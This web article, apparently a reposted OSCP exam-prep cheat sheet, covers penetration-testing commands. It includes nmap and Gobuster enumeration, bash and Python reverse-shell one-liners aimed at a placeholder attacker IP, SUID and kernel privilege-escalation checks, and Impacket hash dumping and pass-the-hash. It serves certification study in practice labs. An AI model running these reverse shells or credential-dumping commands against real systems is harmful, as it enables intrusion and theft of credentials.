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If you’re preparing for the OSCP (Offensive Security Certified Professional) or refining your penetration testing skills, this comprehensive cheat sheet is a must-have. It covers essential tools, techniques, and methodologies used in real-world engagements, including:
- Reconnaissance:
nmap,ffuf, `Gobuster` - Web Attacks: SQLi, RCE, XXE, JWT exploitation
- Privilege Escalation: Potato exploits (Hot, Juicy, Rogue)
- Post-Exploitation: BloodHound, Impacket tools
- AV Evasion & Bypass Techniques
You Should Know:
Essential OSCP Commands & Techniques
1. Nmap Scans:
Basic scan nmap -sV -sC -oA scan_results <target_IP> Aggressive scan (OS detection) nmap -A -T4 <target_IP> UDP scan (slower but crucial) nmap -sU -p 53,161 <target_IP>
2. Web Enumeration with Gobuster:
Directory brute-forcing gobuster dir -u http://<target_IP> -w /usr/share/wordlists/dirb/common.txt Subdomain enumeration gobuster dns -d example.com -w /usr/share/wordlists/subdomains-top1m.txt
3. Reverse Shells (Common Payloads):
Bash reverse shell
bash -i >& /dev/tcp/<attacker_IP>/<port> 0>&1
Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_IP>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
4. Privilege Escalation (Linux):
Check SUID binaries find / -perm -4000 2>/dev/null Kernel exploits uname -a Check kernel version searchsploit <kernel_version>
5. Post-Exploitation with Impacket:
Dumping hashes impacket-secretsdump DOMAIN/user:password@<target_IP> Pass-the-hash attack impacket-psexec -hashes <LM:NTLM_hash> DOMAIN/user@<target_IP>
What Undercode Say:
The OSCP exam demands hands-on expertise—memorizing commands isn’t enough. Practice in HTB (Hack The Box) or TryHackMe labs. Focus on:
– Manual exploitation (Metasploit is restricted).
– Documentation (report every step).
– Time management (24-hour exam).
Expected Output:
A structured cheat sheet with real-world attack chains, bypass techniques, and exam-compliant methods to maximize efficiency during engagements.
Relevant URLs:
References:
Reported By: Dharamveer Prasad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
